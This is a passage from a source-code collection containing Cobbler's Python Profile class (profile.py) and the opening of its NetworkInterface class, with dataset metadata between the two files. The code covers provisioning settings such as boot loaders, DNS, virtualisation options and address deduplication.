``kickstart``: Resolves as a proxy to ``autoinstall`` V3.2.0: * No changes V3.1.2: * Added: * ``filename``: Union[str, inherit] V3.1.1: * No changes V3.1.0: * Added: * ``get_arch()`` V3.0.1: * File was moved from ``cobbler/item_profile.py`` to ``cobbler/items/profile.py``. V3.0.0: * Added: * ``next_server``: Union[str, inherit] * Changed: * Renamed: ``kickstart`` -> ``autoinstall`` * Renamed: ``ks_meta`` -> ``autoinstall_meta`` * ``autoinstall``: Union[str, SETTINGS:default_kickstart] -> Union[str, SETTINGS:default_autoinstall] * ``set_kickstart()``: Renamed to ``set_autoinstall()`` * Removed: * ``redhat_management_server``: Union[str, inherit] * ``template_remote_kickstarts``: Union[bool, SETTINGS:template_remote_kickstarts] * ``set_redhat_management_server()`` * ``set_template_remote_kickstarts()`` V2.8.5: * Inital tracking of changes for the changelog. * Added * ``ctime``: int * ``depth``: int * ``mtime``: int * ``uid``: str * ``kickstart``: Union[str, SETTINGS:default_kickstart] * ``ks_meta``: dict * ``boot_files``: list/dict? * ``comment``: str * ``dhcp_tag``: str * ``distro``: str * ``enable_gpxe``: Union[bool, SETTINGS:enable_gpxe] * ``enable_menu``: Union[bool, SETTINGS:enable_menu] * ``fetchable_files``: dict * ``kernel_options``: dict * ``kernel_options_post``: dict * ``mgmt_classes``: list * ``mgmt_parameters``: Union[str, inherit] * ``name``: str * ``name_servers``: Union[list, SETTINGS:default_name_servers] * ``name_servers_search``: Union[list, SETTINGS:default_name_servers_search] * ``owners``: Union[list, SETTINGS:default_ownership] * ``parent``: str * ``proxy``: Union[str, SETTINGS:proxy_url_int] * ``redhat_management_key``: Union[str, inherit] * ``redhat_management_server``: Union[str, inherit] * ``template_remote_kickstarts``: Union[bool, SETTINGS:template_remote_kickstarts] * ``repos``: list * ``server``: Union[str, inherit] * ``template_files``: dict * ``virt_auto_boot``: Union[bool, SETTINGS:virt_auto_boot] * ``virt_bridge``: Union[str, SETTINGS:default_virt_bridge] * ``virt_cpus``: int * ``virt_disk_driver``: Union[str, SETTINGS:default_virt_disk_driver] * ``virt_file_size``: Union[int, SETTINGS:default_virt_file_size] * ``virt_path``: str * ``virt_ram``: Union[int, SETTINGS:default_virt_ram] * ``virt_type``: Union[str, SETTINGS:default_virt_type] """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import copy from typing import TYPE_CHECKING, Any, Dict, List, Optional, Union from cobbler import autoinstall_manager, enums, validate from cobbler.cexceptions import CX from cobbler.decorator import InheritableProperty, LazyProperty from cobbler.items.abstract.bootable_item import BootableItem from cobbler.items.distro import Distro from cobbler.utils import input_converters if TYPE_CHECKING: from cobbler.api import CobblerAPI class Profile(BootableItem): """ A Cobbler profile object. """ TYPE_NAME = "profile" COLLECTION_TYPE = "profile" def __init__(self, api: "CobblerAPI", *args: Any, **kwargs: Any) -> None: """ Constructor :param api: The Cobbler API object which is used for resolving information. """ super().__init__(api) # Prevent attempts to clear the to_dict cache before the object is initialized. self._has_initialized = False self._autoinstall = enums.VALUE_INHERITED self._boot_loaders: Union[List[str], str] = enums.VALUE_INHERITED self._dhcp_tag = "" self._distro = "" self._enable_ipxe: Union[str, bool] = enums.VALUE_INHERITED self._enable_menu: Union[str, bool] = enums.VALUE_INHERITED self._name_servers = enums.VALUE_INHERITED self._name_servers_search = enums.VALUE_INHERITED self._next_server_v4 = enums.VALUE_INHERITED self._next_server_v6 = enums.VALUE_INHERITED self._filename = "" self._proxy = enums.VALUE_INHERITED self._redhat_management_key = enums.VALUE_INHERITED self._repos: Union[List[str], str] = [] self._server = enums.VALUE_INHERITED self._menu = "" self._display_name = "" self._virt_auto_boot: Union[str, bool] = enums.VALUE_INHERITED self._virt_bridge = enums.VALUE_INHERITED self._virt_cpus: int = 1 self._virt_disk_driver: enums.VirtDiskDrivers = enums.VirtDiskDrivers.INHERITED self._virt_file_size: Union[str, float] = enums.VALUE_INHERITED self._virt_path = "" self._virt_ram: Union[str, int] = enums.VALUE_INHERITED self._virt_type: Union[str, enums.VirtType] = enums.VirtType.INHERITED # Overwrite defaults from bootable_item.py self._autoinstall_meta: Union[Dict[Any, Any], str] = enums.VALUE_INHERITED self._kernel_options: Union[Dict[Any, Any], str] = enums.VALUE_INHERITED self._kernel_options_post: Union[Dict[Any, Any], str] = enums.VALUE_INHERITED if self._is_subobject: self._filename = enums.VALUE_INHERITED # Use setters to validate settings self.virt_disk_driver = api.settings().default_virt_disk_driver self.virt_type = api.settings().default_virt_type if len(kwargs) > 0: self.from_dict(kwargs) if not self._has_initialized: self._has_initialized = True def __getattr__(self, name: str) -> Any: if name == "kickstart": return self.autoinstall if name == "ks_meta": return self.autoinstall_meta raise AttributeError( f'Attribute "{name}" did not exist on object type Profile.' ) # # override some base class methods first (BootableItem) # def make_clone(self): """ Clone this file object. Please manually adjust all value yourself to make the cloned object unique. :return: The cloned instance of this object. """ _dict = copy.deepcopy(self.to_dict()) _dict.pop("uid", None) return Profile(self.api, **_dict) def check_if_valid(self): """ Check if the profile is valid. This checks for an existing name and a distro as a conceptual parent. :raises CX: In case the distro or name is not present. """ # name validation super().check_if_valid() if not self.inmemory: return # distro validation distro = self.get_conceptual_parent() if distro is None: raise CX(f"Error with profile {self.name} - distro is required") def find_match_single_key( self, data: Dict[str, Any], key: str, value: Any, no_errors: bool = False ) -> bool: """ Look if the data matches or not. This is an alternative for ``find_match()``. :param data: The data to search through. :param key: The key to look for int the item. :param value: The value for the key. :param no_errors: How strict this matching is. :return: Whether the data matches or not. """ # special case for profile, since arch is a derived property from the parent distro if key == "arch": if self.arch: return self.arch.value == value return value is None return super().find_match_single_key(data, key, value, no_errors) # # specific methods for item.Profile # @property def arch(self) -> Optional[enums.Archs]: """ This represents the architecture of a profile. It is read only. :getter: ``None`` or the parent architecture. """ # FIXME: This looks so wrong. It cries: Please open a bug for me! parent = self.logical_parent if parent is not None and isinstance(parent, (Profile, Distro)): return parent.arch return None @LazyProperty def distro(self) -> Optional["Distro"]: """ The parent distro of a profile. This is not representing the Distro but the id of it. This is a required property, if saved to the disk, with the exception if this is a subprofile. :return: The distro object or None. """ if not self._distro: return None parent_distro = self.api.distros().find(name=self._distro) if isinstance(parent_distro, list): raise ValueError("Ambigous parent distro name detected!") return parent_distro @distro.setter def distro(self, distro_name: str): """ Sets the distro. This must be the name of an existing Distro object in the Distros collection. :param distro_name: The name of the distro. """ if not isinstance(distro_name, str): # type: ignore raise TypeError("distro_name needs to be of type str") if not distro_name: self._distro = "" return distro = self.api.distros().find(name=distro_name) if distro is None or isinstance(distro, list): raise ValueError(f'distribution "{distro_name}" not found') self._distro = distro_name self.depth = ( distro.depth + 1 ) # reset depth if previously a subprofile and now top-level @InheritableProperty def name_servers(self) -> List[str]: """ Represents the list of nameservers to set for the profile. :getter: The nameservers. :setter: Comma delimited ``str`` or list with the nameservers. """ return self._resolve("name_servers") @name_servers.setter # type: ignore[no-redef] def name_servers(self, data: List[str]): """ Set the DNS servers. :param data: string or list of nameservers """ self._name_servers = validate.name_servers(data) @InheritableProperty def name_servers_search(self) -> List[str]: """ Represents the list of DNS search paths. :getter: The list of DNS search paths. :setter: Comma delimited ``str`` or list with the nameservers search paths. """ return self._resolve("name_servers_search") @name_servers_search.setter # type: ignore[no-redef] def name_servers_search(self, data: List[str]): """ Set the DNS search paths. :param data: string or list of search domains """ self._name_servers_search = validate.name_servers_search(data) @InheritableProperty def proxy(self) -> str: """ Override the default external proxy which is used for accessing the internet. :getter: Returns the default one or the specific one for this repository. :setter: May raise a ``TypeError`` in case the wrong value is given. """ return self._resolve("proxy_url_int") @proxy.setter # type: ignore[no-redef] def proxy(self, proxy: str): """ Setter for the proxy setting of the repository. :param proxy: The new proxy which will be used for the repository. :raises TypeError: In case the new value is not of type ``str``. """ if not isinstance(proxy, str): # type: ignore raise TypeError("Field proxy of object profile needs to be of type str!") self._proxy = proxy @InheritableProperty def enable_ipxe(self) -> bool: r""" Sets whether or not the profile will use iPXE for booting. :getter: If set to inherit then this returns the parent value, otherwise it returns the real value. :setter: May throw a ``TypeError`` in case the new value cannot be cast to ``bool``. """ return self._resolve("enable_ipxe") @enable_ipxe.setter # type: ignore[no-redef] def enable_ipxe(self, enable_ipxe: Union[str, bool]): r""" Setter for the ``enable_ipxe`` property. :param enable_ipxe: New boolean value for enabling iPXE. :raises TypeError: In case after the conversion, the new value is not of type ``bool``. """ if enable_ipxe == enums.VALUE_INHERITED: self._enable_ipxe = enums.VALUE_INHERITED return enable_ipxe = input_converters.input_boolean(enable_ipxe) if not isinstance(enable_ipxe, bool): # type: ignore raise TypeError("enable_ipxe needs to be of type bool") self._enable_ipxe = enable_ipxe @InheritableProperty def enable_menu(self) -> bool: """ Sets whether or not the profile will be listed in the default PXE boot menu. This is pretty forgiving for YAML's sake. :getter: The value resolved from the defaults or the value specific to the profile. :setter: May raise a ``TypeError`` in case the boolean could not be converted. """ return self._resolve("enable_menu") @enable_menu.setter # type: ignore[no-redef] def enable_menu(self, enable_menu: Union[str, bool]): """ Setter for the ``enable_menu`` property. :param enable_menu: New boolean value for enabling the menu. :raises TypeError: In case the boolean could not be converted successfully. """ if enable_menu == enums.VALUE_INHERITED: self._enable_menu = enums.VALUE_INHERITED return enable_menu = input_converters.input_boolean(enable_menu) if not isinstance(enable_menu, bool): # type: ignore raise TypeError("enable_menu needs to be of type bool") self._enable_menu = enable_menu @LazyProperty def dhcp_tag(self) -> str: """ Represents the VLAN tag the DHCP Server is in/answering to. :getter: The VLAN tag or nothing if a system with the profile should not be in a VLAN. :setter: The new VLAN tag. """ return self._dhcp_tag @dhcp_tag.setter def dhcp_tag(self, dhcp_tag: str): r""" Setter for the ``dhcp_tag`` property. :param dhcp_tag: The new VLAN tag. :raises TypeError: Raised in case the tag was not of type ``str``. """ if not isinstance(dhcp_tag, str): # type: ignore raise TypeError("Field dhcp_tag of object profile needs to be of type str!") self._dhcp_tag = dhcp_tag @InheritableProperty def server(self) -> str: """ Represents the hostname the Cobbler server is reachable by a client. .. note:: This property can be set to ``<<inherit>>``. :getter: The hostname of the Cobbler server. :setter: May raise a ``TypeError`` in case the new value is not a ``str``. """ return self._resolve("server") @server.setter # type: ignore[no-redef] def server(self, server: str): """ Setter for the server property. :param server: The str with the new value for the server property. :raises TypeError: In case the new value was not of type ``str``. """ if not isinstance(server, str): # type: ignore raise TypeError("Field server of object profile needs to be of type str!") self._server = server @InheritableProperty def next_server_v4(self) -> str: """ Represents the next server for IPv4. :getter: The IP for the next server. :setter: May raise a ``TypeError`` if the new value is not of type ``str``. """ return self._resolve("next_server_v4") @next_server_v4.setter def next_server_v4(self, server: str = ""): """ Setter for the next server value. :param server: The address of the IPv4 next server. Must be a string or ``enums.VALUE_INHERITED``. :raises TypeError: In case server is no string. """ if not isinstance(server, str): # type: ignore raise TypeError("Server must be a string.") if server == enums.VALUE_INHERITED: self._next_server_v4 = enums.VALUE_INHERITED else: self._next_server_v4 = validate.ipv4_address(server) @InheritableProperty def next_server_v6(self) -> str: r""" Represents the next server for IPv6. :getter: The IP for the next server. :setter: May raise a ``TypeError`` if the new value is not of type ``str``. """ return self._resolve("next_server_v6") @next_server_v6.setter def next_server_v6(self, server: str = ""): """ Setter for the next server value. :param server: The address of the IPv6 next server. Must be a string or ``enums.VALUE_INHERITED``. :raises TypeError: In case server is no string. """ if not isinstance(server, str): # type: ignore raise TypeError("Server must be a string.") if server == enums.VALUE_INHERITED: self._next_server_v6 = enums.VALUE_INHERITED else: self._next_server_v6 = validate.ipv6_address(server) @InheritableProperty def filename(self) -> str: """ The filename which is fetched by the client from TFTP. If the filename is set to ``<<inherit>>`` and there is no parent profile then it will be set to an empty string. :getter: Either the default/inherited one, or the one specific to this profile. :setter: The new filename which is fetched on boot. May raise a ``TypeError`` when the wrong type was given. """ return self._resolve("filename") @filename.setter # type: ignore[no-redef] def filename(self, filename: str): """ The setter for the ``filename`` property. :param filename: The new ``filename`` for the profile. :raises TypeError: In case the new value was not of type ``str``. """ if not isinstance(filename, str): # type: ignore raise TypeError("Field filename of object profile needs to be of type str!") parent = self.parent if filename == enums.VALUE_INHERITED and parent is None: filename = "" if not filename: if parent: filename = enums.VALUE_INHERITED else: filename = "" self._filename = filename @InheritableProperty def autoinstall(self) -> str: """ Represents the automatic OS installation template file path, this must be a local file. :getter: Either the inherited name or the one specific to this profile. :setter: The name of the new autoinstall template is validated. The path should come in the format of a ``str``. """ return self._resolve("autoinstall") @autoinstall.setter def autoinstall(self, autoinstall: str): """ Setter for the ``autoinstall`` property. :param autoinstall: local automatic installation template path """ autoinstall_mgr = autoinstall_manager.AutoInstallationManager(self.api) self._autoinstall = autoinstall_mgr.validate_autoinstall_template_file_path( autoinstall ) @InheritableProperty def virt_auto_boot(self) -> bool: """ Whether the VM should be booted when booting the host or not. .. note:: This property can be set to ``<<inherit>>``. :getter: ``True`` means autoboot is enabled, otherwise VM is not booted automatically. :setter: The new state for the property. """ return self._resolve("virt_auto_boot") @virt_auto_boot.setter # type: ignore[no-redef] def virt_auto_boot(self, num: Union[bool, str, int]): """ Setter for booting a virtual machine automatically. :param num: The new value for whether to enable it or not. """ if num == enums.VALUE_INHERITED: self._virt_auto_boot = enums.VALUE_INHERITED return self._virt_auto_boot = validate.validate_virt_auto_boot(num) @LazyProperty def virt_cpus(self) -> int: """ The amount of vCPU cores used in case the image is being deployed on top of a VM host. :getter: The cores used. :setter: The new number of cores. """ return self._resolve("virt_cpus") @virt_cpus.setter def virt_cpus(self, num: Union[int, str]): """ Setter for the number of virtual CPU cores to assign to the virtual machine. :param num: The number of cpu cores. """ self._virt_cpus = validate.validate_virt_cpus(num) @InheritableProperty def virt_file_size(self) -> float: r""" The size of the image and thus the usable size for the guest. .. warning:: There is a regression which makes the usage of multiple disks not possible right now. This will be fixed in a future release. .. note:: This property can be set to ``<<inherit>>``. :getter: The size of the image(s) in GB. :setter: The float with the new size in GB. """ return self._resolve("virt_file_size") @virt_file_size.setter # type: ignore[no-redef] def virt_file_size(self, num: Union[str, int, float]): """ Setter for the size of the virtual image size. :param num: The new size of the image. """ self._virt_file_size = validate.validate_virt_file_size(num) @InheritableProperty def virt_disk_driver(self) -> enums.VirtDiskDrivers: """ The type of disk driver used for storing the image. .. note:: This property can be set to ``<<inherit>>``. :getter: The enum type representation of the disk driver. :setter: May be a ``str`` with the name of the disk driver or from the enum type directly. """ return self._resolve_enum("virt_disk_driver", enums.VirtDiskDrivers) @virt_disk_driver.setter # type: ignore[no-redef] def virt_disk_driver(self, driver: str): """ Setter for the virtual disk driver that will be used. :param driver: The new driver. """ self._virt_disk_driver = enums.VirtDiskDrivers.to_enum(driver) @InheritableProperty def virt_ram(self) -> int: """ The amount of RAM given to the guest in MB. .. note:: This property can be set to ``<<inherit>>``. :getter: The amount of RAM currently assigned to the image. :setter: The new amount of ram. Must be an integer. """ return self._resolve("virt_ram") @virt_ram.setter # type: ignore[no-redef] def virt_ram(self, num: Union[str, int]): """ Setter for the virtual RAM used for the VM. :param num: The number of RAM to use for the VM. """ self._virt_ram = validate.validate_virt_ram(num) @InheritableProperty def virt_type(self) -> enums.VirtType: """ The type of image used. .. note:: This property can be set to ``<<inherit>>``. :getter: The value of the virtual machine. :setter: May be of the enum type or a str which is then converted to the enum type. """ return self._resolve_enum("virt_type", enums.VirtType) @virt_type.setter # type: ignore[no-redef] def virt_type(self, vtype: Union[enums.VirtType, str]): """ Setter for the virtual machine type. :param vtype: May be on out of "qemu", "kvm", "xenpv", "xenfv", "vmware", "vmwarew", "openvz" or "auto". """ self._virt_type = enums.VirtType.to_enum(vtype) @InheritableProperty def virt_bridge(self) -> str: """ Represents the name of the virtual bridge to use. .. note:: This property can be set to ``<<inherit>>``. :getter: Either the default name for the bridge or the specific one for this profile. :setter: The new name. Does not overwrite the default one. """ return self._resolve("virt_bridge") @virt_bridge.setter # type: ignore[no-redef] def virt_bridge(self, vbridge: str): """ Setter for the name of the virtual bridge to use. :param vbridge: The name of the virtual bridge to use. """ self._virt_bridge = validate.validate_virt_bridge(vbridge) @LazyProperty def virt_path(self) -> str: """ The path to the place where the image will be stored. :getter: The path to the image. :setter: The new path for the image. """ return self._virt_path @virt_path.setter def virt_path(self, path: str): """ Setter for the ``virt_path`` property. :param path: The path to where the image will be stored. """ self._virt_path = validate.validate_virt_path(path) @LazyProperty def repos(self) -> Union[str, List[str]]: """ The repositories to add once the system is provisioned. :getter: The names of the repositories the profile has assigned. :setter: The new names of the repositories for the profile. Validated against existing repositories. """ return self._repos @repos.setter def repos(self, repos: Union[str, List[str]]): """ Setter of the repositories for the profile. :param repos: The new repositories which will be set. """ self._repos = validate.validate_repos(repos, self.api, bypass_check=False) @InheritableProperty def redhat_management_key(self) -> str: """ Getter of the redhat management key of the profile or it's parent. .. note:: This property can be set to ``<<inherit>>``. :getter: Returns the redhat_management_key of the profile. :setter: May raise a ``TypeError`` in case of a validation error. """ return self._resolve("redhat_management_key") @redhat_management_key.setter # type: ignore[no-redef] def redhat_management_key(self, management_key: str): """ Setter of the redhat management key. :param management_key: The value may be reset by setting it to None. """ if not isinstance(management_key, str): # type: ignore raise TypeError("Field management_key of object profile is of type str!") if not management_key: self._redhat_management_key = enums.VALUE_INHERITED self._redhat_management_key = management_key @InheritableProperty def boot_loaders(self) -> List[str]: """ This represents all boot loaders for which Cobbler will try to generate bootloader configuration for. .. note:: This property can be set to ``<<inherit>>``. :getter: The bootloaders. :setter: The new bootloaders. Will be validates against a list of well known ones. """ return self._resolve("boot_loaders") @boot_loaders.setter # type: ignore[no-redef] def boot_loaders(self, boot_loaders: Union[List[str], str]): """ Setter of the boot loaders. :param boot_loaders: The boot loaders for the profile. :raises ValueError: In case the supplied boot loaders were not a subset of the valid ones. """ if boot_loaders == enums.VALUE_INHERITED: self._boot_loaders = enums.VALUE_INHERITED return if boot_loaders: boot_loaders_split = input_converters.input_string_or_list(boot_loaders) parent = self.parent if parent is None: parent = self.distro if parent is not None: parent_boot_loaders = parent.boot_loaders # type: ignore else: self.logger.warning( 'Parent of profile "%s" could not be found for resolving the parent bootloaders.', self.name, ) parent_boot_loaders = [] if not set(boot_loaders_split).issubset(parent_boot_loaders): # type: ignore raise CX( f'Error with profile "{self.name}" - not all boot_loaders are supported (given:' f'"{str(boot_loaders_split)}"; supported: "{str(parent_boot_loaders)}")' # type: ignore ) self._boot_loaders = boot_loaders_split else: self._boot_loaders = [] @LazyProperty def menu(self) -> str: r""" Property to represent the menu which this image should be put into. :getter: The name of the menu or an emtpy str. :setter: Should only be the name of the menu not the object. May raise ``CX`` in case the menu does not exist. """ return self._menu @menu.setter def menu(self, menu: str): """ Setter for the menu property. :param menu: The menu for the image. :raises CX: In case the menu to be set could not be found. """ if not isinstance(menu, str): # type: ignore raise TypeError("Field menu of object profile needs to be of type str!") if menu and menu != "": menu_list = self.api.menus() if not menu_list.find(name=menu): raise CX(f"menu {menu} not found") self._menu = menu @LazyProperty def display_name(self) -> str: """ Returns the display name. :getter: Returns the display name for the boot menu. :setter: Sets the display name for the boot menu. """ return self._display_name @display_name.setter def display_name(self, display_name: str): """ Setter for the display_name of the item. :param display_name: The new display_name. If ``None`` the display_name will be set to an emtpy string. """ self._display_name = display_name
35,220
Python
.py
774
36.897933
120
0.619359
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,097
network_interface.py
cobbler_cobbler/cobbler/items/network_interface.py
""" All code belonging to network interfaces Changelog (NetworkInterface): V3.4.0 (unreleased): * Changes: * Constructor: ``kwargs`` can now be used to seed the item during creation. * ``virt_type``: str - Inheritable; One of "qemu", "kvm", "xenpv", "xenfv", "vmware", "vmwarew", "openvz" or "auto". V3.3.4 (unreleased): * No changes V3.3.3: * Changed: * ``to_dict()``: Accepts new parameter ``resolved`` * ``virt_bridge``: Can now be set to ``<<inherit>>`` to get its value from the settings key ``default_virt_bridge`` V3.3.2: * No changes V3.3.1: * No changes V3.3.0: * This release switched from pure attributes to properties (getters/setters). * Added: * ``NetworkInterface`` is now a class. * Serialization still happens inside the system collection. * Properties have been used. V3.2.2: * No changes V3.2.1: * No changes V3.2.0: * No changes V3.1.2: * No changes V3.1.1: * No changes V3.1.0: * No changes V3.0.1: * No changes V3.0.0: * Field definitions now split of ``System`` class V2.8.5: * Initial tracking of changes for the changelog. * Field definitions part of ``System`` class * Added: * ``mac_address``: str * ``connected_mode``: bool * ``mtu``: str * ``ip_address``: str * ``interface_type``: str - One of "na", "bond", "bond_slave", "bridge", bridge_slave", "bonded_bridge_slave", "infiniband" * ``interface_master``: str * ``bonding_opts``: str * ``bridge_opts``: str * ``management``: bool * ``static``: bool * ``netmask``: str * ``if_gateway``: str * ``dhcp_tag``: str * ``dns_name``: str * ``static_routes``: List[str] * ``virt_bridge``: str * ``ipv6_address``: str * ``ipv6_prefix``: str * ``ipv6_secondaries``: List[str] * ``ipv6_mtu``: str * ``ipv6_static_routes``: List[str] * ``ipv6_default_gateway``: str * ``cnames``: List[str] """ import enum import logging from ipaddress import AddressValueError from typing import TYPE_CHECKING, Any, Dict, List, Union from cobbler import enums, utils, validate from cobbler.decorator import InheritableProperty if TYPE_CHECKING: from cobbler.api import CobblerAPI class NetworkInterface: """ A subobject of a Cobbler System which represents the network interfaces """ def __init__( self, api: "CobblerAPI", system_name: str, *args: Any, **kwargs: Any, ) -> None: """ Constructor. :param api: The Cobbler API object which is used for resolving information. """ # Warning disabled due to polymorphism # pylint: disable=unused-argument self.__logger = logging.getLogger() self.__api = api self._bonding_opts = "" self._bridge_opts = "" self._cnames: List[str] = [] self._connected_mode = False self._dhcp_tag = "" self._dns_name = "" self._if_gateway = "" self._interface_master = "" self._interface_type = enums.NetworkInterfaceType.NA self._ip_address = "" self._ipv6_address = "" self._ipv6_default_gateway = "" self._ipv6_mtu = "" self._ipv6_prefix = "" self._ipv6_secondaries: List[str] = [] self._ipv6_static_routes: List[str] = [] self._mac_address = "" self._management = False self._mtu = "" self._netmask = "" self._static = False self._static_routes: List[str] = [] self._virt_bridge = enums.VALUE_INHERITED self.__system_name = system_name if len(kwargs) > 0: self.from_dict(kwargs) def __hash__(self): """ Hash table for NetworkInterfaces. Requires special handling if the uid value changes and the Item is present in set, frozenset, and dict types. :return: hash(uid). """ return hash( (self._mac_address, self._ip_address, self._dns_name, self._ipv6_address) ) def from_dict(self, dictionary: Dict[str, Any]): """ Initializes the object with attributes from the dictionary. :param dictionary: The dictionary with values. """ dictionary_keys = list(dictionary.keys()) for key in dictionary: if hasattr(self, key): setattr(self, key, dictionary[key]) dictionary_keys.remove(key) if len(dictionary_keys) > 0: self.__logger.info( "The following keys were ignored and could not be set for the NetworkInterface object: " "%s", str(dictionary_keys), ) def to_dict(self, resolved: bool = False) -> Dict[str, Any]: """ This converts everything in this object to a dictionary. :param resolved: If this is True, Cobbler will resolve the values to its final form, rather than give you the objects raw value. :return: A dictionary with all values present in this object. """ result: Dict[str, Any] = {} for iface_attr, iface_attr_value in self.__dict__.items(): if "__" in iface_attr: continue if iface_attr.startswith("_"): new_key = iface_attr[1:].lower() if isinstance(iface_attr_value, enum.Enum): result[new_key] = iface_attr_value.name.lower() elif ( isinstance(iface_attr_value, str) and iface_attr_value == enums.VALUE_INHERITED and resolved ): result[new_key] = getattr(self, iface_attr[1:]) else: result[new_key] = iface_attr_value return result # These two methods are currently not used, but we do want to use them in the future, so let's define them. def serialize(self) -> Dict[str, Any]: """ This method is a proxy for :meth:`~cobbler.items.abstract.base_item.BaseItem.to_dict` and contains additional logic for serialization to a persistent location. :return: The dictionary with the information for serialization. """ return self.to_dict() def deserialize(self, interface_dict: Dict[str, Any]): """ This is currently a proxy for :py:meth:`~cobbler.items.abstract.base_item.BaseItem.from_dict` . :param interface_dict: The dictionary with the data to deserialize. """ self.from_dict(interface_dict) @property def dhcp_tag(self) -> str: """ dhcp_tag property. :getter: Returns the value for ``dhcp_tag``. :setter: Sets the value for the property ``dhcp_tag``. """ return self._dhcp_tag @dhcp_tag.setter def dhcp_tag(self, dhcp_tag: str): """ Setter for the dhcp_tag of the NetworkInterface class. :param dhcp_tag: The new dhcp tag. """ if not isinstance(dhcp_tag, str): # type: ignore raise TypeError( "Field dhcp_tag of object NetworkInterface needs to be of type str!" ) self._dhcp_tag = dhcp_tag @property def cnames(self) -> List[str]: """ cnames property. :getter: Returns the value for ``cnames``. :setter: Sets the value for the property ``cnames``. """ return self._cnames @cnames.setter def cnames(self, cnames: List[str]): """ Setter for the cnames of the NetworkInterface class. :param cnames: The new cnames. """ self._cnames = self.__api.input_string_or_list_no_inherit(cnames) @property def static_routes(self) -> List[str]: """ static_routes property. :getter: Returns the value for ``static_routes``. :setter: Sets the value for the property ``static_routes``. """ return self._static_routes @static_routes.setter def static_routes(self, routes: List[str]): """ Setter for the static_routes of the NetworkInterface class. :param routes: The new routes. """ self._static_routes = self.__api.input_string_or_list_no_inherit(routes) @property def static(self) -> bool: """ static property. :getter: Returns the value for ``static``. :setter: Sets the value for the property ``static``. """ return self._static @static.setter def static(self, truthiness: bool): """ Setter for the static of the NetworkInterface class. :param truthiness: The new value if the interface is static or not. """ try: truthiness = self.__api.input_boolean(truthiness) except TypeError as error: raise TypeError( "Field static of NetworkInterface needs to be of Type bool!" ) from error self._static = truthiness @property def management(self) -> bool: """ management property. :getter: Returns the value for ``management``. :setter: Sets the value for the property ``management``. """ return self._management @management.setter def management(self, truthiness: bool): """ Setter for the management of the NetworkInterface class. :param truthiness: The new value for management. """ try: truthiness = self.__api.input_boolean(truthiness) except TypeError as error: raise TypeError( "Field management of object NetworkInterface needs to be of type bool!" ) from error self._management = truthiness @property def dns_name(self) -> str: """ dns_name property. :getter: Returns the value for ``dns_name`. :setter: Sets the value for the property ``dns_name``. """ return self._dns_name @dns_name.setter def dns_name(self, dns_name: str): """ Set DNS name for interface. :param dns_name: DNS Name of the system :raises ValueError: In case the DNS name is already existing inside Cobbler """ if self._dns_name == dns_name: return dns_name = validate.hostname(dns_name) if dns_name != "" and not self.__api.settings().allow_duplicate_hostnames: matched = self.__api.find_system(return_list=True, dns_name=dns_name) if matched is None: matched = [] if not isinstance(matched, list): # type: ignore raise ValueError("Incompatible return type detected!") for match in matched: if self in match.interfaces.values(): continue raise ValueError( f'DNS name duplicate found "{dns_name}". Object with the conflict has the name "{match.name}"' ) self.__api.systems().update_interface_index_value( self, "dns_name", self._dns_name, dns_name ) self._dns_name = dns_name @property def ip_address(self) -> str: """ ip_address property. :getter: Returns the value for ``ip_address``. :setter: Sets the value for the property ``ip_address``. """ return self._ip_address @ip_address.setter def ip_address(self, address: str): """ Set IPv4 address on interface. :param address: IP address :raises ValueError: In case the IP address is already existing inside Cobbler. """ if self._ip_address == address: return address = validate.ipv4_address(address) if address != "" and not self.__api.settings().allow_duplicate_ips: matched = self.__api.find_system(return_list=True, ip_address=address) if matched is None: matched = [] if not isinstance(matched, list): raise ValueError( "Unexpected search result during ip deduplication search!" ) for match in matched: if self in match.interfaces.values(): continue raise ValueError( f'IP address duplicate found "{address}". Object with the conflict has the name "{match.name}"' ) self.__api.systems().update_interface_index_value( self, "ip_address", self._ip_address, address ) self._ip_address = address @property def mac_address(self) -> str: """ mac_address property. :getter: Returns the value for ``mac_address``. :setter: Sets the value for the property ``mac_address``. """ return self._mac_address @mac_address.setter def mac_address(self, address: str): """ Set MAC address on interface. :param address: MAC address :raises CX: In case there a random mac can't be computed """ if self._mac_address == address: return address = validate.mac_address(address) if address == "random": # FIXME: Pass virt_type of system address = utils.get_random_mac(self.__api) if address != "" and not self.__api.settings().allow_duplicate_macs: matched = self.__api.find_system(return_list=True, mac_address=address) if matched is None: matched = [] if not isinstance(matched, list): raise ValueError( "Unexpected search result during ip deduplication search!" ) for match in matched: if self in match.interfaces.values(): continue raise ValueError( f'MAC address duplicate found "{address}". Object with the conflict has the name "{match.name}"' ) self.__api.systems().update_interface_index_value( self, "mac_address", self._mac_address, address ) self._mac_address = address @property def netmask(self) -> str: """ netmask property. :getter: Returns the value for ``netmask``. :setter: Sets the value for the property ``netmask``. """ return self._netmask @netmask.setter def netmask(self, netmask: str): """ Set the netmask for given interface. :param netmask: netmask """ self._netmask = validate.ipv4_netmask(netmask) @property def if_gateway(self) -> str: """ if_gateway property. :getter: Returns the value for ``if_gateway``. :setter: Sets the value for the property ``if_gateway``. """ return self._if_gateway @if_gateway.setter def if_gateway(self, gateway: str): """ Set the per-interface gateway. Exceptions are raised if the value is invalid. For details see :meth:`~cobbler.validate.ipv4_address`. :param gateway: IPv4 address for the gateway """ self._if_gateway = validate.ipv4_address(gateway) @InheritableProperty def virt_bridge(self) -> str: """ virt_bridge property. If set to ``<<inherit>>`` this will read the value from the setting "default_virt_bridge". :getter: Returns the value for ``virt_bridge``. :setter: Sets the value for the property ``virt_bridge``. """ if self._virt_bridge == enums.VALUE_INHERITED: return self.__api.settings().default_virt_bridge return self._virt_bridge @virt_bridge.setter def virt_bridge(self, bridge: str): """ Setter for the virt_bridge of the NetworkInterface class. :param bridge: The new value for "virt_bridge". """ if not isinstance(bridge, str): # type: ignore raise TypeError( "Field virt_bridge of object NetworkInterface should be of type str!" ) if bridge == "": self._virt_bridge = enums.VALUE_INHERITED return self._virt_bridge = bridge @property def interface_type(self) -> enums.NetworkInterfaceType: """ interface_type property. :getter: Returns the value for ``interface_type``. :setter: Sets the value for the property ``interface_type``. """ return self._interface_type @interface_type.setter def interface_type(self, intf_type: Union[enums.NetworkInterfaceType, int, str]): """ Setter for the interface_type of the NetworkInterface class. :param intf_type: The interface type to be set. Will be autoconverted to the enum type if possible. """ if not 